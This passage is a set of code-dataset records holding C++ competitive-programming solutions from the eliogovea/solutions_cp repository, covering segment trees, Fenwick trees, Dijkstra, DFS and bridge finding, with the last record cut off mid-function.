namespace std;\n \nconst int N = 30005;\n \nstruct event {\n\tint val;\n\tint a, b, id;\n} e;\n \nbool operator < (const event &a, const event &b) {\n\tif (a.val != b.val) {\n\t\treturn a.val > b.val;\n\t}\n return a.id > b.id;\n}\n \nvector<event> E;\n \nint n, q, a[N], ans[200005];\n \nint bit[N];\n \nvoid update(int p, int v) {\n\twhile (p <= n) {\n\t\tbit[p] += v;\n\t\tp += p & -p;\n\t}\n}\n \nint query(int p) {\n\tint res = 0;\n\twhile (p > 0) {\n\t\tres += bit[p];\n\t\tp -= p & -p;\n\t}\n\treturn res;\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t\te.val = a[i];\n\t\te.a = i;\n\t\te.b = -1;\n\t\te.id = -1;\n\t\tE.push_back(e);\n\t}\n\tcin >> q;\n\tfor (int i = 1; i <= q; i++) {\n\t\tcin >> e.a >> e.b >> e.val;\n\t\te.id = i;\n\t\tE.push_back(e);\n\t}\n\tsort(E.begin(), E.end());\n\tfor (int i = 0; i < E.size(); i++) {\n\t\t//cout << E[i].val << \" \" << E[i].id << \" \" << E[i].a << \" \" << E[i].b << \"\\n\";\n\t\tif (E[i].id == -1) {\n\t\t\tupdate(E[i].a, 1);\n\t\t} else {\n\t\t\tans[E[i].id] = query(E[i].b) - query(E[i].a - 1);\n\t\t}\n\t}\n\tfor (int i = 1; i <= q; i++) {\n\t\tcout << ans[i] << \"\\n\";\n\t}\n} \n" }, { "alpha_fraction": 0.37821781635284424, "alphanum_fraction": 0.40528053045272827, "avg_line_length": 21.30769157409668, "blob_id": "db6acb62f4998461ed889bc6c8d25b5c7cb1af3c", "content_id": "52f01db640562511637a3beaa9aaf43f44dac6cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1515, "license_type": "no_license", "max_line_length": 64, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p2125-Accepted-s629383.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nchar op;\r\nstring sol;\r\nint x, y;\r\nint n, k, a[MAXN], T[MAXN << 2];\r\n\r\nvoid build(int idx, int l, int r) {\r\n\tif (l == r) {\r\n\t\tif (a[l] > 0) T[idx] = 1;\r\n\t\telse if (a[l] == 0) T[idx] = 0;\r\n\t\telse T[idx] = -1;\r\n\t}\r\n\telse {\r\n\t\tint mid = (l + r) >> 1, L = idx << 1, R = L + 1;\r\n\t\tbuild(L, l, mid);\r\n\t\tbuild(R, mid + 1, r);\r\n\t\tT[idx] = T[L] * T[R];\r\n\t}\r\n}\r\n\r\nvoid update(int idx, int l, int r, int pos, int val) {\r\n\t//cout << idx << ' ' << l << ' ' << r << '\\n';\r\n\tif (l == r) {\r\n\t\ta[l] = val;\r\n\t\tif (a[l] > 0) T[idx] = 1;\r\n\t\telse if (a[l] == 0) T[idx] = 0;\r\n\t\telse T[idx] = -1;\r\n\t}\r\n\telse {\r\n int mid = (l + r) >> 1, L = idx << 1, R = L + 1;\r\n if (pos <= mid) update(L, l, mid, pos, val);\r\n else update(R, mid + 1, r, pos, val);\r\n T[idx] = T[L] * T[R];\r\n\t}\r\n}\r\n\r\nint query(int idx, int l, int r, int ql, int qr) {\r\n\tif (l > qr || r < ql) return 1;\r\n\tif (l >= ql && r <= qr) return T[idx];\r\n\tint mid = (l + r) >> 1, L = idx << 1, R = L + 1;\r\n\treturn query(L, l, mid, ql, qr) * query(R, mid + 1, r, ql, qr);\r\n}\r\n\r\nint main() {\r\n\twhile (cin >> n >> k) {\r\n sol = \"\";\r\n\t\tfor (int i = 1; i <= n; i++) cin >> a[i];\r\n\t\tbuild(1, 1, n);\r\n\t\tfor (int i = 1; i <= k; i++) {\r\n\t\t\tcin >> op >> x >> y;\r\n\t\t\tif (op == 'C') update(1, 1, n, x, y);\r\n\t\t\telse {\r\n\t\t\t\tint aux = query(1, 1, n, x, y);\r\n\t\t\t\tif (aux > 0) sol += '+';\r\n\t\t\t\telse if (aux == 0) sol += '0';\r\n\t\t\t\telse sol += '-';\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4343629479408264, "alphanum_fraction": 0.4555984437465668, "avg_line_length": 17.185184478759766, "blob_id": "bbfdee99bd6cd0a9584734d6649e0ab664686475", "content_id": "ab0b891c29ae40a9e57f1e73e078bc618038b67f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 518, "license_type": "no_license", "max_line_length": 67, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p3669-Accepted-s960819.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ULL;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tULL n;\r\n\tcin >> n;\r\n\tULL p = 2;\r\n\tULL ans =0;\r\n\twhile (p <= n) {\r\n\t\tULL res = n % p;\r\n\t\tif (res == p - 1LL) {\r\n\t\t\tULL val = (n / p);\r\n\t\t\tans += p * (val * (val + 1ULL) / 2ULL);\r\n\t\t} else {\r\n\t\t\tULL val = (n / p) - 1;\r\n\t\t\tans += p * (val * (val + 1ULL) / 2ULL) + (res + 1ULL) * (n / p);\r\n\t\t}\r\n\t\tp *= 2ULL;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3642149865627289, "alphanum_fraction": 0.4016973078250885, "avg_line_length": 13.711111068725586, "blob_id": "5881d4fd92d9ee96636d5e889082a02b0a0c3191", "content_id": "61cb12ca09dce7ad42e1951b87d70a5480623e5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1414, "license_type": "no_license", "max_line_length": 44, "num_lines": 90, "path": "/COJ/eliogovea-cojAC/eliogovea-p4102-Accepted-s1294959.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int A = 'z' - 'a' + 1;\r\n\r\nconst int M = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int & a, int b) {\r\n\ta += b;\r\n\tif (a >= M) {\r\n\t\ta -= M;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % M;\r\n}\r\n\r\nint n;\r\nstring s;\r\nmap <char, int> last;\r\nvector <int> pos;\r\n\r\nconst int N = 100 * 1000 + 10;\r\nint p[N];\r\nint sp[N];\r\n\r\nint t[50][50];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> s;\r\n\r\n\tp[0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tp[i] = mul(p[i - 1], A);\r\n\t}\r\n\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tsp[i] = p[i];\r\n\t\tif (i > 0) {\r\n\t\t\tadd(sp[i], sp[i - 1]);\r\n\t\t}\r\n\t}\r\n\r\n\tmap <char, int> last;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlast[s[i]] = i;\r\n\t}\r\n\r\n\tvector <int> pos;\r\n\tfor (auto i : last) {\r\n\t\tpos.push_back(i.second);\r\n\t}\r\n\r\n\tfor (int i = 0; i <= pos.size(); i++) {\r\n\t\tt[i][0] = t[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tt[i][j] = t[i - 1][j - 1];\r\n\t\t\tadd(t[i][j], t[i - 1][j]);\r\n\t\t}\r\n\t}\r\n\r\n\tsort(pos.begin(), pos.end());\r\n\r\n\tint answer = 0;\r\n\r\n\tfor (int i = 0; i < (int)pos.size(); i++) {\r\n\t\tint v = 1;\r\n\r\n\t\tfor (int c = 0; c <= i; c += 2) {\r\n\t\t\tint v = t[i][c];\r\n\r\n\t\t\tif (c + 1 < n) {\r\n\t\t\t\tint x = i + 1 + (A - (int)pos.size());\r\n\t\t\t\tif (c + 2 < n) {\r\n\t\t\t\t\tx = mul(x, sp[n - c - 2]);\r\n\t\t\t\t}\r\n\t\t\t\tadd(x, 1);\r\n\t\t\t\tv = mul(v, x);\t\r\n\t\t\t}\r\n\t\t\tadd(answer, v);\r\n\t\t}\r\n\t}\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43981480598449707, "alphanum_fraction": 0.43981480598449707, "avg_line_length": 11.5, "blob_id": "b651c0ac2765c8ff123db3f27be60d8b466e96f0", "content_id": "4883fa52f82e98dc00009f9d65f6d8e350af80bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 216, "license_type": "no_license", "max_line_length": 40, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2717-Accepted-s579397.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nint c;\r\nlong long n, l, r;\r\n\r\nint main()\r\n{\r\n\tcin >> c;\r\n\twhile (c--)\r\n\t{\r\n\t\tcin >> n >> l >> r;\r\n\t\tif ((n / l) * r >= n) cout << \"Yes\\n\";\r\n\t\telse cout << \"No\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42960289120674133, "alphanum_fraction": 0.4729241728782654, "avg_line_length": 13.38888931274414, "blob_id": "fcb58d8d56a998e95f540e126c25085256a10eec", "content_id": "132cd2693e860b43f99f644e32f178083c54a937", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 277, "license_type": "no_license", "max_line_length": 63, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2659-Accepted-s879332.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nlong long n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tn--;\r\n\t\tcout << \"(1.00;\" << fixed << 0.25 * (2.0 * n + 1.0) << \")\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3880126178264618, "alphanum_fraction": 0.423501580953598, "avg_line_length": 19.786884307861328, "blob_id": "72c43835a834ad06e24e7f268ddb0cbb2d702a05", "content_id": "40d2d62e4331660bf798c2aaad317ee884e3712e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1268, "license_type": "no_license", "max_line_length": 98, "num_lines": 61, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 25;\n\nint n, m;\nstring s[35];\n\nint maskX[(1 << N) + 1];\nint maskY[N + 5];\nint bits[(1 << N) + 1];\n\nmap <int, int> pos;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\tcin >> n >> m;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> s[i];\n\t}\n\n\tfor (int i = 0; i < n; i++) {\n\t\tmaskY[i] = 0;\n\t\tfor (int j = 0; j < m; j++) {\n\t\t\tif (s[i][j] == '*') {\n\t\t\t\tmaskY[i] |= (1 << j);\n\t\t\t}\n\t\t}\n\t\t//cerr << i << \" \" << maskY[i] << \"\\n\";\n\t}\n\n\tfor (int i = 0; i < n; i++) {\n\t\tpos[1 << i] = i;\n\t}\n bits[0] = 0;\n maskX[0] = 0;\n\tfor (int i = 1; i < (1 << n); i++) {\n\t\tmaskX[i] = maskX[i ^ (i & -i)] | maskY[pos[i & -i]];\n\t\t//cerr << \"mask \" << i << \" \" << maskX[i] << \"\\n\";\n\t}\n\tfor (int i = 1; i < max((1 << n), (1 << m)); i++) {\n bits[i] = bits[i ^ (i & -i)] + 1;\n\t}\n\tint all = (1 << n) - 1;\n\tint ans = min(n, m);\n\tfor (int i = 0; i < (1 << n); i++) {\n //cerr << i << \" \" << (all ^ i) << \" \" << bits[i] << \" \" << bits[maskX[all ^ i]] << \"\\n\";\n\t\tans = min(ans, max(bits[i], bits[maskX[all ^ i]]));\n\t}\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3404475152492523, "alphanum_fraction": 0.3710843324661255, "avg_line_length": 20.842105865478516, "blob_id": "ddcfa47d3f07eba58218b97cf789fb692fcffe74", "content_id": "d8025ef09ff68397f305c924fe4e4e612c481e35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2905, "license_type": "no_license", "max_line_length": 82, "num_lines": 133, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/C1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 10 * 1000 + 10;\n\npair <int, int> st[4 * N];\nint lazy[4 * N];\n\ninline pair <int, int> add(const pair <int, int> & a, const pair <int, int> & b) {\n if (a.first > b.first) {\n return a;\n }\n return b;\n}\n\nvoid build(int x, int l, int r) {\n lazy[x] = 0;\n if (l == r) {\n st[x] = make_pair(0, l);\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n st[x] = add(st[2 * x], st[2 * x + 1]);\n }\n}\n\ninline void push(int x, int l, int r) {\n if (lazy[x] != 0) {\n st[x].first += lazy[x];\n if (l != r) {\n lazy[2 * x] += lazy[x];\n lazy[2 * x + 1] += lazy[x];\n }\n lazy[x] = 0;\n }\n}\n\nvoid update(int x, int l, int r, int ul, int ur, int v) {\n push(x, l, r);\n if (l > ur || r < ul) {\n return;\n }\n if (l >= ul && r <= ur) {\n lazy[x] += v;\n push(x, l, r);\n } else {\n int m = (l + r) >> 1;\n update(2 * x, l, m, ul, ur, v);\n update(2 * x + 1, m + 1, r, ul, ur, v);\n st[x] = add(st[2 * x], st[2 * x + 1]);\n }\n}\n\nconst int INF = 1e9;\n\npair <int, int> query(int x, int l, int r, int ql, int qr) {\n push(x, l, r);\n if (l > qr || r < ql) {\n return make_pair(0, 0);\n }\n if (l >= ql && r <= qr) {\n return st[x];\n }\n int m = (l + r) >> 1;\n return add(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, ql, qr));\n}\n\nint n, k;\npair <int, int> pts[50 * 1000 + 10];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n >> k;\n for (int i = 0; i < n; i++) {\n cin >> pts[i].first >> pts[i].second;\n }\n\n sort(pts, pts + n);\n\n const int Y = 10 * 1000;\n\n int lo = 1;\n int hi = 10 * 1000;\n\n int res = -1;\n int ansx;\n int ansy;\n\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n build(1, 1, Y);\n\n bool ok = false;\n\n for (int i = 0, j = 0; i < n; i++) {\n update(1, 1, Y, max(pts[i].second - mid, 1), pts[i].second, 1);\n while (j < i && pts[j].first < pts[i].first - mid) {\n update(1, 1, Y, max(pts[j].second - mid, 1), pts[j].second, -1);\n j++;\n }\n push(1, 1, Y);\n if (st[1].first >= k) {\n ok = true;\n\n cerr << \"__ \" << mid << \" \" << i << \" \" << st[1].first << \"\\n\";\n\n if (res == -1 || res > mid) {\n res = mid;\n ansx = pts[i].first - mid;\n ansy = st[1].second;\n }\n break;\n }\n }\n\n if (!ok) {\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n\n assert(res != -1);\n\n cout << res << \"\\n\";\n cout << ansx << \" \" << ansy << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4904109537601471, "alphanum_fraction": 0.5068492889404297, "avg_line_length": 19.47058868408203, "blob_id": "a835287c0adc62548d319ec8e9ba69999c075e46", "content_id": "4a0911b7e5d473ec6acf8bfc79055a7f2f6365d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 730, "license_type": "no_license", "max_line_length": 60, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2931-Accepted-s644914.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint lis(vector<int> &v) {\r\n\tint n = v.size();\r\n\tvector<int> A(n, 1 << 29), id(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tid[i] = lower_bound(A.begin(), A.end(), v[i]) - A.begin();\r\n\t\tA[id[i]] =\tv[i];\r\n\t}\r\n\treturn *max_element(id.begin(), id.end()) + 1;\r\n}\r\n\r\nint n, l1, l2;\r\nvector<int> v;\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> n) {\r\n\t\tv.clear();\r\n\t\tv.resize(n);\r\n\t\tfor (int i = 0; i < n; i++) cin >> v[i];\r\n\t\tl1 = lis(v);\r\n\t\treverse(v.begin(), v.end());\r\n\t\tl2 = lis(v);\r\n\t\tif (l1 == l2)\r\n\t\t\tcout << \"Caution. I will not intervene.\\n\";\r\n else cout << \"Don't worry. I must intervene.\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3911980390548706, "alphanum_fraction": 0.438467800617218, "avg_line_length": 16.590909957885742, "blob_id": "c2db2946b6c6e0e7666a0a8cbf9573a658c5cf13", "content_id": "0e74163127dc89f09c3d9827ca0ec46fd0f47beb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1227, "license_type": "no_license", "max_line_length": 63, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p3479-Accepted-s908146.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct matrix {\r\n\tdouble m[5][5];\r\n\tmatrix(double v) {\r\n\t\tfor (int i = 0; i < 3; i++) {\r\n\t\t\tfor (int j =0 ; j < 3; j++) {\r\n\t\t\t\tm[i][j] = 0.0;\r\n\t\t\t}\r\n\t\t\tm[i][i] = v;\r\n\t\t}\r\n\t}\r\n\tdouble * operator [] (int x) {\r\n\t\treturn m[x];\r\n\t}\r\n\tconst double * operator [] (const int x) const {\r\n\t\treturn m[x];\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res(0);\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tfor (int k = 0; k < 3; k++) {\r\n\t\t\t\tres[i][j] += a[i][k] * b[k][j];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res(1.0);\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\n\r\ndouble solve(int n) {\r\n\tmatrix M(0.0);\r\n\tdouble x = 1.0;\r\n\tdouble y = 2.0;\r\n\tM[0][0] = 1.0; M[0][1] = cos(y); M[0][2] = sin(y);\r\n\tM[1][0] = 0.0; M[1][1] = cos(y); M[1][2] = sin(y);\r\n\tM[2][0] = 0.0; M[2][1] = -sin(y); M[2][2] = cos(y);\r\n\tM = power(M, n - 1);\r\n\treturn sin(x) * M[0][0] + sin(x) * M[0][1] + cos(x) * M[0][2];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(6);\r\n\tint n;\r\n\tcin >> n;\r\n\tcout << fixed << solve(n) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3440784811973572, "alphanum_fraction": 0.3784162700176239, "avg_line_length": 21.78333282470703, "blob_id": "623d386c2486c362133af0a23a112345c59b9027", "content_id": "4a06c0666dad747b98f909bee3506eff22856ce3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1427, "license_type": "no_license", "max_line_length": 57, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p2286-Accepted-s738426.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000;\r\n\r\nconst int n = 16;\r\nint id[N][N];\r\nvector<int> g[N];\r\nint dp[30][N]; \r\n\r\nint main() {\r\n\tint cur = 1;\r\n\tfor (int i = 1; i <= 2 * n - 1; i++) {\r\n\t\tint tmp = n - 1;\r\n\t\tif (i <= n) tmp += i;\r\n\t\telse tmp += (2 * n - i);\r\n\t\tfor (int j = 1; j <= tmp; j++)\r\n\t\t\tid[i][j] = cur++;\r\n\t\tfor (int j = 1; j <= tmp; j++) {\r\n\t\t\tif (id[i][j - 1]) g[id[i][j]].push_back(id[i][j - 1]);\r\n\t\t\tif (id[i][j + 1]) g[id[i][j]].push_back(id[i][j + 1]);\r\n\t\t\tif (i <= n) {\r\n\t\t\t\tif (id[i - 1][j]) {\r\n\t\t\t\t\tg[id[i][j]].push_back(id[i - 1][j]);\r\n\t\t\t\t\tg[id[i - 1][j]].push_back(id[i][j]);\r\n\t\t\t\t}\r\n\t\t\t\tif (id[i - 1][j - 1]) {\r\n\t\t\t\t\tg[id[i][j]].push_back(id[i - 1][j - 1]);\r\n\t\t\t\t\tg[id[i - 1][j - 1]].push_back(id[i][j]);\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tif (id[i - 1][j]) {\r\n\t\t\t\t\tg[id[i][j]].push_back(id[i - 1][j]);\r\n\t\t\t\t\tg[id[i - 1][j]].push_back(id[i][j]);\r\n\t\t\t\t}\r\n\t\t\t\tif (id[i - 1][j + 1]) {\r\n\t\t\t\t\tg[id[i][j]].push_back(id[i - 1][j + 1]);\r\n\t\t\t\t\tg[id[i - 1][j + 1]].push_back(id[i][j]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < 15; i++)\r\n for (int j = 1; j <= cur; j++)\r\n dp[i][j] = 0;\r\n\tdp[0][id[n][n]] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 1; j <= cur; j++)\r\n\t\t\tfor (int k = 0; k < g[j].size(); k++)\r\n\t\t\t\tdp[i + 1][g[j][k]] += dp[i][j];\r\n\t}\r\n\tint tc, x;\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n cin >> x;\r\n cout << dp[x][id[n][n]] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3949579894542694, "alphanum_fraction": 0.41792717576026917, "avg_line_length": 21.024690628051758, "blob_id": "b5bf0c8f70d873d9265a95993c5f1360a275f8b7", "content_id": "53d8425b75b978c32ca7c7799d782b15dfc0618d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1785, "license_type": "no_license", "max_line_length": 86, "num_lines": 81, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486E\n\n#include<bits/stdc++.h>\n#include<cmath>\n#include<math.h>\n\nusing namespace std;\ntypedef long long ll;\ntypedef unsigned long long ull;\ntypedef pair<int,int> par;\nconst int MAXN = 50100;\nconst int oo = 1<<30;\n\npriority_queue<par, vector<par>, greater<par> > q;\nvector<par> g[MAXN];\nint n,m,k,a;\n\nint d[MAXN], sol, mk[MAXN];\nvoid dijkstra( int );\nbool f;\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n // freopen( \"data.txt\", \"r\", stdin );\n\n while( cin >> n >> m >> a >> k ){\n if( !n && !m && !k && !a )\n break;\n if( f ) cout << \"\\n\";\n f = true;\n //cout << \"ok\" << endl;\n sol = 0;\n for( int i = 1; i <= n; i++ ){\n g[i].clear();\n d[i] = oo;\n mk[i] = false;\n }\n\n for( int i = 1,x,y,z; i <= m; i++ ){\n cin >> x >> y >> z;\n g[x].push_back( make_pair(z,y) );\n g[y].push_back( make_pair(z,x) );\n }\n for( int i = 1,u; i <= a ; i++ ){\n cin >> u;\n dijkstra( u );\n cout << n-sol << '\\n';\n }\n }\n\n\n}\n\n\nvoid dijkstra( int start ){\n d[start] = 0;\n q.push( make_pair(0,start) );\n\n while( !q.empty() ){\n int nod = q.top().second,\n cost = q.top().first;\n q.pop();\n if( !mk[nod] ){\n mk[nod] = true;\n sol++;\n }\n for( int i = 0; i < g[nod].size(); i++ ){\n int nex = g[nod][i].second,\n nc = g[nod][i].first;\n\n if( k > d[ nod ] + nc && d[ nex ] > d[ nod ] + nc ){\n d[ nex ] = d[nod] + nc;\n q.push( make_pair( d[nex], nex ) );\n }\n\n }\n\n }\n\n}\n\n" }, { "alpha_fraction": 0.34443289041519165, "alphanum_fraction": 0.40166494250297546, "avg_line_length": 19.446807861328125, "blob_id": "937e66ef06f13d052fd25cb148ba5480b318dcf3", "content_id": "50eddb9d21e83b6a827b4485bec78e94856c9afd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 961, "license_type": "no_license", "max_line_length": 77, "num_lines": 47, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nint n, m;\nconst int movx[] = {1,0, -1, 0, 1,-1,-1, 1 },\n movy[] = {0,1, 0, -1, 1, 1,-1,-1 };\n\nchar mat[500][500];\nbool mk[500][500];\n\nvoid dfs( int x, int y ){\n // cerr << x << \"; \" << y << endl;\n mk[x][y] = true;\n\n for( int k = 0; k < 8; k++ ){\n int dx = x + movx[k],\n dy = y + movy[k];\n if( mk[dx][dy] || mat[dx][dy] != '#' ) continue;\n dfs( dx, dy );\n\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> m;\n\n for( int i = 1; i <= n; i++ )\n cin >> (mat[i]+1);\n\n int ans = 0;\n for( int i = 1; i <= n; i++ )\n for( int j =1; j <= m; j++ )\n if( mat[i][j] == '#' && !mk[i][j] ){\n dfs( i, j );\n ans++;\n\n }\n cout << ans << '\\n';\n}\n" }, { "alpha_fraction": 0.41872096061706543, "alphanum_fraction": 0.44301536679267883, "avg_line_length": 16.65999984741211, "blob_id": "5678f5a9cc9f47ae6ed0d9fa8c092726bd7dae18", "content_id": "da3710f7e415dd161590f4f39d37ee932e58d235", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2799, "license_type": "no_license", "max_line_length": 48, "num_lines": 150, "path": "/COJ/eliogovea-cojAC/eliogovea-p3549-Accepted-s918370.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nstruct edge {\r\n\tint from;\r\n\tint to;\r\n\tbool isbridge;\r\n};\r\n\r\nint n, m;\r\nint vals[N];\r\nedge E[6 * N];\r\nvector <int> graph[N];\r\n\r\nvoid read() {\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> vals[i];\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> E[2 * i].from;\r\n\t\tcin >> E[2 * i].to;\r\n\t\tE[2 * i].isbridge = false;\r\n\t\tgraph[E[2 * i].from].push_back(2 * i);\r\n\t\tE[2 * i + 1].from = E[2 * i].to;\r\n\t\tE[2 * i + 1].to = E[2 * i].from;\r\n\t\tE[2 * i + 1].isbridge = false;\r\n\t\tgraph[E[2 * i + 1].from].push_back(2 * i + 1);\r\n\t}\r\n}\r\n\r\nint visited[N];\r\nint seen[N];\r\nint timer;\r\n\r\nvoid find_bridges(int u, int p) {\r\n\tif (visited[u] != -1) {\r\n\t\treturn;\r\n\t}\r\n\tvisited[u] = seen[u] = timer++;\r\n\tfor (int i = 0; i < graph[u].size(); i++) {\r\n\t\tint v = E[graph[u][i]].to;\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (visited[v] == -1) {\r\n\t\t\tfind_bridges(v, u);\r\n\t\t\tseen[u] = min(seen[u], seen[v]);\r\n\t\t\tif (seen[v] > visited[u]) 